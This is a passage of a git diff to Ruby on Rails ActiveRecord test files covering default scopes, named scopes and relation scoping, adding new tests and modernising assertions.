-              PoorDeveloperCalledJamis.create_with(name: "Aaron")).new
+      PoorDeveloperCalledJamis.create_with(name: "Aaron")).new
     assert_equal 20, aaron.salary
     assert_equal "Aaron", aaron.name
 
@@ -353,11 +539,31 @@ def test_create_with_merge
     assert_equal "Aaron", aaron.name
   end
 
+  def test_create_with_using_both_string_and_symbol
+    jamis = PoorDeveloperCalledJamis.create_with(name: "foo").create_with("name" => "Aaron").new
+    assert_equal "Aaron", jamis.name
+  end
+
   def test_create_with_reset
     jamis = PoorDeveloperCalledJamis.create_with(name: "Aaron").create_with(nil).new
     assert_equal "Jamis", jamis.name
   end
 
+  def test_create_with_takes_precedence_over_where
+    developer = Developer.where(name: nil).create_with(name: "Aaron").new
+    assert_equal "Aaron", developer.name
+  end
+
+  def test_create_with_nested_attributes
+    assert_difference("Project.count", 1) do
+      Developer.create_with(
+        projects_attributes: [{ name: "p1" }]
+      ).scoping do
+        Developer.create!(name: "Aaron")
+      end
+    end
+  end
+
   # FIXME: I don't know if this is *desired* behavior, but it is *today's*
   # behavior.
   def test_create_with_empty_hash_will_not_reset
@@ -383,9 +589,37 @@ def test_default_scope_with_joins
                  Comment.joins(:post).count
   end
 
+  def test_joins_not_affected_by_scope_other_than_default_or_unscoped
+    without_scope_on_post = Comment.joins(:post).sort_by(&:id)
+    with_scope_on_post = nil
+    Post.where(id: [1, 5, 6]).scoping do
+      with_scope_on_post = Comment.joins(:post).sort_by(&:id)
+    end
+
+    assert_equal without_scope_on_post, with_scope_on_post
+  end
+
   def test_unscoped_with_joins_should_not_have_default_scope
-    assert_equal SpecialPostWithDefaultScope.unscoped { Comment.joins(:special_post_with_default_scope).to_a },
-                 Comment.joins(:post).to_a
+    assert_equal Comment.joins(:post).sort_by(&:id),
+      SpecialPostWithDefaultScope.unscoped { Comment.joins(:special_post_with_default_scope).sort_by(&:id) }
+  end
+
+  def test_sti_association_with_unscoped_not_affected_by_default_scope
+    post = posts(:thinking)
+    comments = [comments(:does_it_hurt)]
+
+    post.special_comments.update_all(deleted_at: Time.now)
+
+    assert_raises(ActiveRecord::RecordNotFound) { Post.joins(:special_comments).find(post.id) }
+    assert_equal [], post.special_comments
+
+    SpecialComment.unscoped do
+      assert_equal post, Post.joins(:special_comments).find(post.id)
+      assert_equal comments, Post.joins(:special_comments).find(post.id).special_comments
+      assert_equal comments, Post.eager_load(:special_comments).find(post.id).special_comments
+      assert_equal comments, Post.includes(:special_comments).find(post.id).special_comments
+      assert_equal comments, Post.preload(:special_comments).find(post.id).special_comments
+    end
   end
 
   def test_default_scope_select_ignored_by_aggregations
@@ -393,7 +627,7 @@ def test_default_scope_select_ignored_by_aggregations
   end
 
   def test_default_scope_select_ignored_by_grouped_aggregations
-    assert_equal Hash[Developer.all.group_by(&:salary).map { |s, d| [s, d.count] }],
+    assert_equal Developer.all.group_by(&:salary).transform_values(&:count),
                  DeveloperWithSelect.group(:salary).count
   end
 
@@ -433,29 +667,6 @@ def test_default_scope_with_references_works_with_find_by
     assert_equal comment, CommentWithDefaultScopeReferencesAssociation.find_by(id: comment.id)
   end
 
-  unless in_memory_db?
-    def test_default_scope_is_threadsafe
-      threads = []
-      assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
-
-      barrier_1 = Concurrent::CyclicBarrier.new(2)
-      barrier_2 = Concurrent::CyclicBarrier.new(2)
-
-      threads << Thread.new do
-        Thread.current[:default_scope_delay] = -> { barrier_1.wait; barrier_2.wait }
-        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
-        ThreadsafeDeveloper.connection.close
-      end
-      threads << Thread.new do
-        Thread.current[:default_scope_delay] = -> { barrier_2.wait }
-        barrier_1.wait
-        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
-        ThreadsafeDeveloper.connection.close
-      end
-      threads.each(&:join)
-    end
-  end
-
   test "additional conditions are ANDed with the default scope" do
     scope = DeveloperCalledJamis.where(name: "David")
     assert_equal 2, scope.where_clause.ast.children.length
@@ -470,13 +681,13 @@ def test_default_scope_is_threadsafe
 
   test "a scope can remove the condition from the default scope" do
     scope = DeveloperCalledJamis.david2
-    assert_equal 1, scope.where_clause.ast.children.length
-    assert_equal Developer.where(name: "David"), scope
+    assert_instance_of Arel::Nodes::Equality, scope.where_clause.ast
+    assert_equal Developer.where(name: "David").map(&:id), scope.map(&:id)
   end
 
   def test_with_abstract_class_where_clause_should_not_be_duplicated
-    scope = Bus.all
-    assert_equal scope.where_clause.ast.children.length, 1
+    scope = Lion.all
+    assert_instance_of Arel::Nodes::Equality, scope.where_clause.ast
   end
 
   def test_sti_conditions_are_not_carried_in_default_scope
@@ -494,13 +705,47 @@ def test_sti_conditions_are_not_carried_in_default_scope
   end
 
   def test_with_abstract_class_scope_should_be_executed_in_correct_context
-    vegetarian_pattern, gender_pattern = if current_adapter?(:Mysql2Adapter)
-      [/`lions`.`is_vegetarian`/, /`lions`.`gender`/]
-    else
-      [/"lions"."is_vegetarian"/, /"lions"."gender"/]
+    assert_match %r/#{Regexp.escape(quote_table_name("lions.is_vegetarian"))}/i, Lion.all.to_sql
+    assert_match %r/#{Regexp.escape(quote_table_name("lions.gender"))}/i, Lion.female.to_sql
+  end
+end
+
+class DefaultScopingWithThreadTest < ActiveRecord::TestCase
+  unless in_memory_db?
+    self.use_transactional_tests = false
+
+    def test_default_scoping_with_threads
+      2.times do
+        Thread.new {
+          assert_includes DeveloperOrderedBySalary.all.to_sql, "salary DESC"
+          DeveloperOrderedBySalary.lease_connection.close
+        }.join
+      end
     end
 
-    assert_match vegetarian_pattern, Lion.all.to_sql
-    assert_match gender_pattern, Lion.female.to_sql
+    def test_default_scope_is_threadsafe
+      2.times { ThreadsafeDeveloper.unscoped.create! }
+
+      threads = []
+      assert_not_equal 1, ThreadsafeDeveloper.unscoped.count
+
+      barrier_1 = Concurrent::CyclicBarrier.new(2)
+      barrier_2 = Concurrent::CyclicBarrier.new(2)
+
+      threads << Thread.new do
+        Thread.current[:default_scope_delay] = -> { barrier_1.wait; barrier_2.wait }
+        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+        ThreadsafeDeveloper.lease_connection.close
+      end
+      threads << Thread.new do
+        Thread.current[:default_scope_delay] = -> { barrier_2.wait }
+        barrier_1.wait
+        assert_equal 1, ThreadsafeDeveloper.all.to_a.count
+        ThreadsafeDeveloper.lease_connection.close
+      end
+      threads.each(&:join)
+    ensure
+      ThreadsafeDeveloper.unscoped.destroy_all
+    end
   end
 end
diff --git a/activerecord/test/cases/scoping/named_scoping_test.rb b/activerecord/test/cases/scoping/named_scoping_test.rb
index 995ff4dfc5489..52c8a8ba9914c 100644
--- a/activerecord/test/cases/scoping/named_scoping_test.rb
+++ b/activerecord/test/cases/scoping/named_scoping_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/topic"
@@ -11,7 +13,7 @@ class NamedScopingTest < ActiveRecord::TestCase
   fixtures :posts, :authors, :topics, :comments, :author_addresses
 
   def test_implements_enumerable
-    assert !Topic.all.empty?
+    assert_not_empty Topic.all
 
     assert_equal Topic.all.to_a, Topic.base
     assert_equal Topic.all.to_a, Topic.base.to_a
@@ -22,9 +24,9 @@ def test_implements_enumerable
   def test_found_items_are_cached
     all_posts = Topic.base
 
-    assert_queries(1) do
-      all_posts.collect
-      all_posts.collect
+    assert_queries_count(1) do
+      all_posts.collect { true }
+      all_posts.collect { true }
     end
   end
 
@@ -38,7 +40,7 @@ def test_reload_expires_cache_of_found_items
   end
 
   def test_delegates_finds_and_calculations_to_the_base_class
-    assert !Topic.all.empty?
+    assert_not_empty Topic.all
 
     assert_equal Topic.all.to_a,                Topic.base.to_a
     assert_equal Topic.first,                   Topic.base.first
@@ -62,14 +64,19 @@ def test_method_missing_priority_when_delegating
     assert_equal klazz.to.since.to_a, klazz.since.to.to_a
   end
 
+  def test_define_scope_for_reserved_words
+    assert Topic.true.all?(&:approved?), "all objects should be approved"
+    assert Topic.false.none?(&:approved?), "all objects should not be approved"
+  end
+
   def test_scope_should_respond_to_own_methods_and_methods_of_the_proxy
-    assert Topic.approved.respond_to?(:limit)
-    assert Topic.approved.respond_to?(:count)
-    assert Topic.approved.respond_to?(:length)
+    assert_respond_to Topic.approved, :limit
+    assert_respond_to Topic.approved, :count
+    assert_respond_to Topic.approved, :length
   end
 
   def test_scopes_with_options_limit_finds_to_those_matching_the_criteria_specified
-    assert !Topic.all.merge!(where: { approved: true }).to_a.empty?
+    assert_not_empty Topic.all.merge!(where: { approved: true }).to_a
 
     assert_equal Topic.all.merge!(where: { approved: true }).to_a, Topic.approved
     assert_equal Topic.where(approved: true).count, Topic.approved.count
@@ -84,8 +91,8 @@ def test_scopes_with_string_name_can_be_composed
   def test_scopes_are_composable
     assert_equal((approved = Topic.all.merge!(where: { approved: true }).to_a), Topic.approved)
     assert_equal((replied = Topic.all.merge!(where: "replies_count > 0").to_a), Topic.replied)
-    assert !(approved == replied)
-    assert !(approved & replied).empty?
+    assert_not (approved == replied)
+    assert_not_empty (approved & replied)
 
     assert_equal approved & replied, Topic.approved.replied
   end
@@ -105,17 +112,44 @@ def test_procedural_scopes_returning_nil
     assert_equal all_topics, Topic.written_before(nil)
   end
 
+  def test_positional_scope_method
+    stats = {}
+    topics = Topic.all.scope_stats(stats)
+
+    assert_equal topics.count, stats[:count]
+  end
+
+  def test_positional_klass_method
+    stats = {}
+    topics = Topic.all.klass_stats(stats)
+
+    assert_equal topics.count, stats[:count]
+  end
+
   def test_scope_with_object
     objects = Topic.with_object
     assert_operator objects.length, :>, 0
     assert objects.all?(&:approved?), "all objects should be approved"
   end
 
+  def test_scope_with_kwargs
+    # Explicit true
+    topics = Topic.with_kwargs(approved: true)
+    assert_operator topics.length, :>, 0
+    assert topics.all?(&:approved?), "all objects should be approved"
+
+    # No arguments
+    topics = Topic.with_kwargs()
+    assert_operator topics.length, :>, 0
+    assert topics.none?(&:approved?), "all objects should not be approved"
+  end
+
   def test_has_many_associations_have_access_to_scopes
     assert_not_equal Post.containing_the_letter_a, authors(:david).posts
-    assert !Post.containing_the_letter_a.empty?
+    assert_not_empty Post.containing_the_letter_a
 
-    assert_equal authors(:david).posts & Post.containing_the_letter_a, authors(:david).posts.containing_the_letter_a
+    expected = authors(:david).posts & Post.containing_the_letter_a
+    assert_equal expected.sort_by(&:id), authors(:david).posts.containing_the_letter_a.sort_by(&:id)
   end
 
   def test_scope_with_STI
@@ -125,14 +159,15 @@ def test_scope_with_STI
 
   def test_has_many_through_associations_have_access_to_scopes
     assert_not_equal Comment.containing_the_letter_e, authors(:david).comments
-    assert !Comment.containing_the_letter_e.empty?
+    assert_not_empty Comment.containing_the_letter_e
 
-    assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e
+    expected = authors(:david).comments & Comment.containing_the_letter_e
+    assert_equal expected.sort_by(&:id), authors(:david).comments.containing_the_letter_e.sort_by(&:id)
   end
 
   def test_scopes_honor_current_scopes_from_when_defined
-    assert !Post.ranked_by_comments.limit_by(5).empty?
-    assert !authors(:david).posts.ranked_by_comments.limit_by(5).empty?
+    assert_not_empty Post.ranked_by_comments.limit_by(5)
+    assert_not_empty authors(:david).posts.ranked_by_comments.limit_by(5)
     assert_not_equal Post.ranked_by_comments.limit_by(5), authors(:david).posts.ranked_by_comments.limit_by(5)
     assert_not_equal Post.top(5), authors(:david).posts.top(5)
     # Oracle sometimes sorts differently if WHERE condition is changed
@@ -147,27 +182,43 @@ def test_scopes_body_is_a_callable
     assert_equal "The scope body needs to be callable.", e.message
   end
 
+  def test_scopes_name_is_relation_method
+    conflicts = [
+      :records,
+      :to_ary,
+      :to_sql,
+      :explain
+    ]
+
+    conflicts.each do |name|
+      e = assert_raises ArgumentError do
+        Class.new(Post).class_eval { scope name, -> { where(approved: true) } }
+      end
+      assert_match(/You tried to define a scope named "#{name}" on the model/, e.message)
+    end
+  end
+
   def test_active_records_have_scope_named__all__
-    assert !Topic.all.empty?
+    assert_not_empty Topic.all
 
     assert_equal Topic.all.to_a, Topic.base
   end
 
   def test_active_records_have_scope_named__scoped__
     scope = Topic.where("content LIKE '%Have%'")
-    assert !scope.empty?
+    assert_not_empty scope
 
     assert_equal scope, Topic.all.merge!(where: "content LIKE '%Have%'")
   end
 
   def test_first_and_last_should_allow_integers_for_limit
-    assert_equal Topic.base.first(2), Topic.base.to_a.first(2)
+    assert_equal Topic.base.first(2), Topic.base.order("id").to_a.first(2)
     assert_equal Topic.base.last(2), Topic.base.order("id").to_a.last(2)
   end
 
   def test_first_and_last_should_not_use_query_when_results_are_loaded
     topics = Topic.base
-    topics.reload # force load
+    topics.load # force load
     assert_no_queries do
       topics.first
       topics.last
@@ -176,25 +227,25 @@ def test_first_and_last_should_not_use_query_when_results_are_loaded
 
   def test_empty_should_not_load_results
     topics = Topic.base
-    assert_queries(2) do
+    assert_queries_count(2) do
       topics.empty?  # use count query
-      topics.collect # force load
+      topics.load    # force load
       topics.empty?  # use loaded (no query)
     end
   end
 
   def test_any_should_not_load_results
     topics = Topic.base
-    assert_queries(2) do
+    assert_queries_count(2) do
       topics.any?    # use count query
-      topics.collect # force load
+      topics.load    # force load
       topics.any?    # use loaded (no query)
     end
   end
 
   def test_any_should_call_proxy_found_if_using_a_block
     topics = Topic.base
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_not_called(topics, :empty?) do
         topics.any? { true }
       end
@@ -203,28 +254,28 @@ def test_any_should_call_proxy_found_if_using_a_block
 
   def test_any_should_not_fire_query_if_scope_loaded
     topics = Topic.base
-    topics.collect # force load
-    assert_no_queries { assert topics.any? }
+    topics.load # force load
+    assert_no_queries { assert_predicate topics, :any? }
   end
 
   def test_model_class_should_respond_to_any
-    assert Topic.any?
+    assert_predicate Topic, :any?
     Topic.delete_all
-    assert !Topic.any?
+    assert_not_predicate Topic, :any?
   end
 
   def test_many_should_not_load_results
     topics = Topic.base
-    assert_queries(2) do
+    assert_queries_count(2) do
       topics.many?   # use count query
-      topics.collect # force load
+      topics.load    # force load
       topics.many?   # use loaded (no query)
     end
   end
 
   def test_many_should_call_proxy_found_if_using_a_block
     topics = Topic.base
-    assert_queries(1) do
+    assert_queries_count(1) do
       assert_not_called(topics, :size) do
         topics.many? { true }
       end
@@ -233,28 +284,28 @@ def test_many_should_call_proxy_found_if_using_a_block
 
   def test_many_should_not_fire_query_if_scope_loaded
     topics = Topic.base
-    topics.collect # force load
-    assert_no_queries { assert topics.many? }
+    topics.load # force load
+    assert_no_queries { assert_predicate topics, :many? }
   end
 
   def test_many_should_return_false_if_none_or_one
     topics = Topic.base.where(id: 0)
-    assert !topics.many?
+    assert_not_predicate topics, :many?
     topics = Topic.base.where(id: 1)
-    assert !topics.many?
+    assert_not_predicate topics, :many?
   end
 
   def test_many_should_return_true_if_more_than_one
-    assert Topic.base.many?
+    assert_predicate Topic.base, :many?
   end
 
   def test_model_class_should_respond_to_many
     Topic.delete_all
-    assert !Topic.many?
+    assert_not_predicate Topic, :many?
     Topic.create!
-    assert !Topic.many?
+    assert_not_predicate Topic, :many?
     Topic.create!
-    assert Topic.many?
+    assert_predicate Topic, :many?
   end
 
   def test_should_build_on_top_of_scope
@@ -312,7 +363,6 @@ def pro; end
       :protected,
       :private,
       :name,
-      :parent,
       :superclass
     ]
 
@@ -329,12 +379,12 @@ def pro; end
       e = assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
         klass.class_eval { scope name, -> { where(approved: true) } }
       end
-      assert_match(/You tried to define a scope named \"#{name}\" on the model/, e.message)
+      assert_match(/You tried to define a scope named "#{name}" on the model/, e.message)
 
       e = assert_raises(ArgumentError, "scope `#{name}` should not be allowed") do
         subklass.class_eval { scope name, -> { where(approved: true) } }
       end
-      assert_match(/You tried to define a scope named \"#{name}\" on the model/, e.message)
+      assert_match(/You tried to define a scope named "#{name}" on the model/, e.message)
     end
 
     non_conflicts.each do |name|
@@ -356,11 +406,11 @@ def pro; end
   def test_spaces_in_scope_names
     klass = Class.new(ActiveRecord::Base) do
       self.table_name = "topics"
-      scope :"title containing space", -> { where("title LIKE '% %'") }
+      scope :"title containing space", ->(space: " ") { where("title LIKE '%#{space}%'") }
       scope :approved, -> { where(approved: true) }
     end
-    assert_equal klass.send(:"title containing space"), klass.where("title LIKE '% %'")
-    assert_equal klass.approved.send(:"title containing space"), klass.approved.where("title LIKE '% %'")
+    assert_equal klass.where("title LIKE '% %'"), klass.public_send(:"title containing space", space: " ")
+    assert_equal klass.approved.where("title LIKE '% %'"), klass.approved.public_send(:"title containing space", space: " ")
   end
 
   def test_find_all_should_behave_like_select
@@ -377,14 +427,14 @@ def test_should_use_where_in_query_for_scope
 
   def test_size_should_use_count_when_results_are_not_loaded
     topics = Topic.base
-    assert_queries(1) do
-      assert_sql(/COUNT/i) { topics.size }
+    assert_queries_count(1) do
+      assert_queries_match(/COUNT/i) { topics.size }
     end
   end
 
   def test_size_should_use_length_when_results_are_loaded
     topics = Topic.base
-    topics.reload # force load
+    topics.load # force load
     assert_no_queries do
       topics.size # use loaded (no query)
     end
@@ -403,16 +453,16 @@ def test_chaining_with_duplicate_joins
 
   def test_chaining_applies_last_conditions_when_creating
     post = Topic.rejected.new
-    assert !post.approved?
+    assert_not_predicate post, :approved?
 
     post = Topic.rejected.approved.new
-    assert post.approved?
+    assert_predicate post, :approved?
 
     post = Topic.approved.rejected.new
-    assert !post.approved?
+    assert_not_predicate post, :approved?
 
     post = Topic.approved.rejected.approved.new
-    assert post.approved?
+    assert_predicate post, :approved?
   end
 
   def test_chaining_combines_conditions_when_searching
@@ -427,16 +477,30 @@ def test_chaining_combines_conditions_when_searching
     assert_equal [posts(:sti_comments)], Post.with_special_comments.with_post(4).to_a.uniq
   end
 
+  def test_class_method_in_scope
+    assert_equal topics(:second, :fourth), topics(:first).approved_replies.ordered
+  end
+
+  def test_chaining_doesnt_leak_conditions_to_another_scopes
+    expected = Topic.where(approved: false).where(id: Topic.children.select(:parent_id))
+    assert_equal expected.to_a, Topic.rejected.has_children.to_a
+  end
+
+  def test_nested_scoping
+    expected = Reply.approved
+    assert_equal expected.to_a, Topic.rejected.nested_scoping(expected)
+  end
+
   def test_scopes_batch_finders
     assert_equal 4, Topic.approved.count
 
-    assert_queries(5) do
-      Topic.approved.find_each(batch_size: 1) { |t| assert t.approved? }
+    assert_queries_count(5) do
+      Topic.approved.find_each(batch_size: 1) { |t| assert_predicate t, :approved? }
     end
 
-    assert_queries(3) do
+    assert_queries_count(3) do
       Topic.approved.find_in_batches(batch_size: 2) do |group|
-        group.each { |t| assert t.approved? }
+        group.each { |t| assert_predicate t, :approved? }
       end
     end
   end
@@ -447,25 +511,6 @@ def test_table_names_for_chaining_scopes_with_and_without_table_name_included
     end
   end
 
-  def test_scopes_with_reserved_names
-    class << Topic
-      def public_method; end
-      public :public_method
-
-      def protected_method; end
-      protected :protected_method
-
-      def private_method; end
-      private :private_method
-    end
-
-    [:public_method, :protected_method, :private_method].each do |reserved_method|
-      assert Topic.respond_to?(reserved_method, true)
-      ActiveRecord::Base.logger.expects(:warn)
-      silence_warnings { Topic.scope(reserved_method, -> {}) }
-    end
-  end
-
   def test_scopes_on_relations
     # Topic.replied
     approved_topics = Topic.all.approved.order("id DESC")
@@ -478,23 +523,23 @@ def test_scopes_on_relations
   def test_index_on_scope
     approved = Topic.approved.order("id ASC")
     assert_equal topics(:second), approved[0]
-    assert approved.loaded?
+    assert_predicate approved, :loaded?
   end
 
   def test_nested_scopes_queries_size
-    assert_queries(1) do
+    assert_queries_count(1) do
       Topic.approved.by_lifo.replied.written_before(Time.now).to_a
     end
   end
 
   # Note: these next two are kinda odd because they are essentially just testing that the
-  # query cache works as it should, but they are here for legacy reasons as they was previously
+  # query cache works as it should, but they are here for legacy reasons as there was previously
   # a separate cache on association proxies, and these show that that is not necessary.
   def test_scopes_are_cached_on_associations
     post = posts(:welcome)
 
     Post.cache do
-      assert_queries(1) { post.comments.containing_the_letter_e.to_a }
+      assert_queries_count(1) { post.comments.containing_the_letter_e.to_a }
       assert_no_queries { post.comments.containing_the_letter_e.to_a }
     end
   end
@@ -503,10 +548,10 @@ def test_scopes_with_arguments_are_cached_on_associations
     post = posts(:welcome)
 
     Post.cache do
-      one = assert_queries(1) { post.comments.limit_by(1).to_a }
+      one = assert_queries_count(1) { post.comments.limit_by(1).to_a }
       assert_equal 1, one.size
 
-      two = assert_queries(1) { post.comments.limit_by(2).to_a }
+      two = assert_queries_count(1) { post.comments.limit_by(2).to_a }
       assert_equal 2, two.size
 
       assert_no_queries { post.comments.limit_by(1).to_a }
@@ -527,8 +572,8 @@ def test_scopes_are_reset_on_association_reload
 
     [:destroy_all, :reset, :delete_all].each do |method|
       before = post.comments.containing_the_letter_e
-      post.association(:comments).send(method)
-      assert before.object_id != post.comments.containing_the_letter_e.object_id, "CollectionAssociation##{method} should reset the named scopes cache"
+      post.association(:comments).public_send(method)
+      assert_not_same before, post.comments.containing_the_letter_e, "CollectionAssociation##{method} should reset the named scopes cache"
     end
   end
 
@@ -548,20 +593,36 @@ def test_eager_default_scope_relations_are_remove
   end
 
   def test_subclass_merges_scopes_properly
-    assert_equal 1, SpecialComment.where(body: "go crazy").created.count
+    assert_equal 1, SpecialComment.where(body: "go wild").created.count
+  end
+
+  def test_model_class_should_respond_to_extending
+    assert_raises OopsError do
+      Comment.unscoped.oops_comments.destroy_all
+    end
   end
 
   def test_model_class_should_respond_to_none
-    assert !Topic.none?
+    assert_not_predicate Topic, :none?
     Topic.delete_all
-    assert Topic.none?
+    assert_predicate Topic, :none?
   end
 
   def test_model_class_should_respond_to_one
-    assert !Topic.one?
+    assert_not_predicate Topic, :one?
     Topic.delete_all
-    assert !Topic.one?
+    assert_not_predicate Topic, :one?
     Topic.create!
-    assert Topic.one?
+    assert_predicate Topic, :one?
+  end
+
+  def test_scope_with_annotation
+    Topic.class_eval do
+      scope :including_annotate_in_scope, Proc.new { annotate("from-scope") }
+    end
+
+    assert_queries_match(%r{/\* from-scope \*/}) do
+      assert_equal Topic.including_annotate_in_scope.to_a, Topic.all.to_a
+    end
   end
 end
diff --git a/activerecord/test/cases/scoping/relation_scoping_test.rb b/activerecord/test/cases/scoping/relation_scoping_test.rb
index a1ae57fdbb5ad..b4ccac0e28d63 100644
--- a/activerecord/test/cases/scoping/relation_scoping_test.rb
+++ b/activerecord/test/cases/scoping/relation_scoping_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/author"
@@ -10,7 +12,7 @@
 require "models/reference"
 
 class RelationScopingTest < ActiveRecord::TestCase
-  fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
+  fixtures :authors, :author_addresses, :developers, :projects, :comments, :posts, :developers_projects
 
   setup do
     developers(:david)
@@ -40,15 +42,24 @@ def test_reverse_order
     assert_equal Developer.order("id DESC").to_a.reverse, Developer.order("id DESC").reverse_order
   end
 
-  def test_reverse_order_with_arel_node
+  def test_reverse_order_with_arel_attribute
     assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).reverse_order
   end
 
-  def test_reverse_order_with_multiple_arel_nodes
+  def test_reverse_order_with_arel_attribute_as_hash
+    assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(Developer.arel_table[:id] => :desc).reverse_order
+  end
+
+  def test_reverse_order_with_arel_node_as_hash
+    node = Developer.arel_table[:id] + 0 # converts to Arel::Nodes::Grouping
+    assert_equal Developer.order("id DESC").to_a.reverse, Developer.order(node => :desc).reverse_order
+  end
+
+  def test_reverse_order_with_multiple_arel_attributes
     assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order(Developer.arel_table[:id].desc).order(Developer.arel_table[:name].desc).reverse_order
   end
 
-  def test_reverse_order_with_arel_nodes_and_strings
+  def test_reverse_order_with_arel_attributes_and_strings
     assert_equal Developer.order("id DESC").order("name DESC").to_a.reverse, Developer.order("id DESC").order(Developer.arel_table[:name].desc).reverse_order
   end
 
@@ -93,6 +104,20 @@ def test_scoped_find_combines_and_sanitizes_conditions
     end
   end
 
+  def test_scoped_unscoped
+    DeveloperOrderedBySalary.where("salary = 9000").scoping do
+      assert_equal 11, DeveloperOrderedBySalary.first.id
+      assert_equal 1, DeveloperOrderedBySalary.unscoped.first.id
+    end
+  end
+
+  def test_scoped_default_scoped
+    DeveloperOrderedBySalary.where("salary = 9000").scoping do
+      assert_equal 11, DeveloperOrderedBySalary.first.id
+      assert_equal 2, DeveloperOrderedBySalary.default_scoped.first.id
+    end
+  end
+
   def test_scoped_find_all
     Developer.where("name = 'David'").scoping do
       assert_equal [developers(:david)], Developer.all
@@ -103,7 +128,7 @@ def test_scoped_find_select
     Developer.select("id, name").scoping do
       developer = Developer.where("name = 'David'").first
       assert_equal "David", developer.name
-      assert !developer.has_attribute?(:salary)
+      assert_not developer.has_attribute?(:salary)
     end
   end
 
@@ -128,6 +153,44 @@ def test_scoped_count
     end
   end
 
+  def test_scoped_find_with_annotation
+    Developer.annotate("scoped").scoping do
+      developer = nil
+      assert_queries_match(%r{/\* scoped \*/}) do
+        developer = Developer.where("name = 'David'").first
+      end
+      assert_equal "David", developer.name
+    end
+  end
+
+  def test_find_with_annotation_unscoped
+    Developer.annotate("scoped").unscoped do
+      developer = nil
+      log = capture_sql do
+        developer = Developer.where("name = 'David'").first
+      end
+
+      assert_not_predicate log, :empty?
+      assert_predicate log.select { |query| query.match?(%r{/\* scoped \*/}) }, :empty?
+
+      assert_equal "David", developer.name
+    end
+  end
+
+  def test_find_with_annotation_unscope
+    developer = nil
+    log = capture_sql do
+      developer = Developer.annotate("unscope").
+        where("name = 'David'").
+        unscope(:annotate).first
+    end
+
+    assert_not_predicate log, :empty?
+    assert_predicate log.select { |query| query.match?(%r{/\* unscope \*/}) }, :empty?
+
+    assert_equal "David", developer.name
+  end
+
   def test_scoped_find_include
     # with the include, will retrieve only developers for the given project
     scoped_developers = Developer.includes(:projects).scoping do
@@ -158,6 +221,26 @@ def test_scoped_create_with_where
     assert_includes Post.find(1).comments, new_comment
   end
 
+  def test_scoped_create_with_where_with_array
+    new_comment = VerySpecialComment.where(label: [0, 1], post_id: 1).scoping do
+      VerySpecialComment.create body: "Wonderful world"
+    end
+
+    assert_equal 1, new_comment.post_id
+    assert_equal "default", new_comment.label
+    assert_includes Post.find(1).comments, new_comment
+  end
+
+  def test_scoped_create_with_where_with_range
+    new_comment = VerySpecialComment.where(label: 0..1, post_id: 1).scoping do
+      VerySpecialComment.create body: "Wonderful world"
+    end
+
+    assert_equal 1, new_comment.post_id
+    assert_equal "default", new_comment.label
+    assert_includes Post.find(1).comments, new_comment
+  end
+
   def test_scoped_create_with_create_with
     new_comment = VerySpecialComment.create_with(post_id: 1).scoping do
       VerySpecialComment.create body: "Wonderful world"
@@ -211,34 +294,158 @@ def test_delete_all_default_scope_filters_on_joins
 
   def test_current_scope_does_not_pollute_sibling_subclasses
     Comment.none.scoping do
-      assert_not SpecialComment.all.any?
-      assert_not VerySpecialComment.all.any?
-      assert_not SubSpecialComment.all.any?
+      assert_not_predicate SpecialComment.all, :any?
+      assert_not_predicate VerySpecialComment.all, :any?
+      assert_not_predicate SubSpecialComment.all, :any?
     end
 
     SpecialComment.none.scoping do
-      assert Comment.all.any?
-      assert VerySpecialComment.all.any?
-      assert_not SubSpecialComment.all.any?
+      assert_predicate Comment.all, :any?
+      assert_predicate VerySpecialComment.all, :any?
+      assert_not_predicate SubSpecialComment.all, :any?
     end
 
     SubSpecialComment.none.scoping do
-      assert Comment.all.any?
-      assert VerySpecialComment.all.any?
-      assert SpecialComment.all.any?
+      assert_predicate Comment.all, :any?
+      assert_predicate VerySpecialComment.all, :any?
+      assert_predicate SpecialComment.all, :any?
+    end
+  end
+
+  def test_scoping_is_correctly_restored
+    Comment.unscoped do
+      SpecialComment.unscoped.created
     end
+
+    assert_nil Comment.current_scope
+    assert_nil SpecialComment.current_scope
   end
 
-  def test_circular_joins_with_current_scope_does_not_crash
+  def test_scoping_respects_current_class
+    Comment.unscoped do
+      assert_equal "a comment...", Comment.all.what_are_you
+      assert_equal "a special comment...", SpecialComment.all.what_are_you
+    end
+  end
+
+  def test_scoping_respects_sti_constraint
+    Comment.unscoped do
+      assert_equal comments(:greetings), Comment.find(1)
+      assert_raises(ActiveRecord::RecordNotFound) { SpecialComment.find(1) }
+    end
+  end
+
+  def test_scoping_with_klass_method_works_in_the_scope_block
+    expected = SpecialPostWithDefaultScope.unscoped.to_a
+    assert_equal expected, SpecialPostWithDefaultScope.unscoped_all
+  end
+
+  def test_scoping_with_query_method_works_in_the_scope_block
+    expected = SpecialPostWithDefaultScope.unscoped.where(author_id: 0).to_a
+    assert_equal expected, SpecialPostWithDefaultScope.authorless
+  end
+
+  def test_circular_joins_with_scoping_does_not_crash
     posts = Post.joins(comments: :post).scoping do
-      Post.current_scope.first(10)
+      Post.first(10)
     end
     assert_equal posts, Post.joins(comments: :post).first(10)
   end
+
+  def test_circular_left_joins_with_scoping_does_not_crash
+    posts = Post.left_joins(comments: :post).scoping do
+      Post.first(10)
+    end
+    assert_equal posts, Post.left_joins(comments: :post).first(10)
+  end
+
+  def test_scoping_applies_to_update_with_all_queries
+    Author.all.limit(5).update_all(organization_id: 1)
+
+    dev = Author.where(organization_id: 1).first
+
+    Author.where(organization_id: 1).scoping do
+      update_sql = capture_sql { dev.update(name: "Eileen") }.first
+      assert_no_match(/organization_id/, update_sql)
+    end
+
+    Author.where(organization_id: 1).scoping(all_queries: true) do
+      update_scoped_sql = capture_sql { dev.update(name: "Not Eileen") }.second
+      assert_match(/organization_id/, update_scoped_sql)
+    end
+  end
+
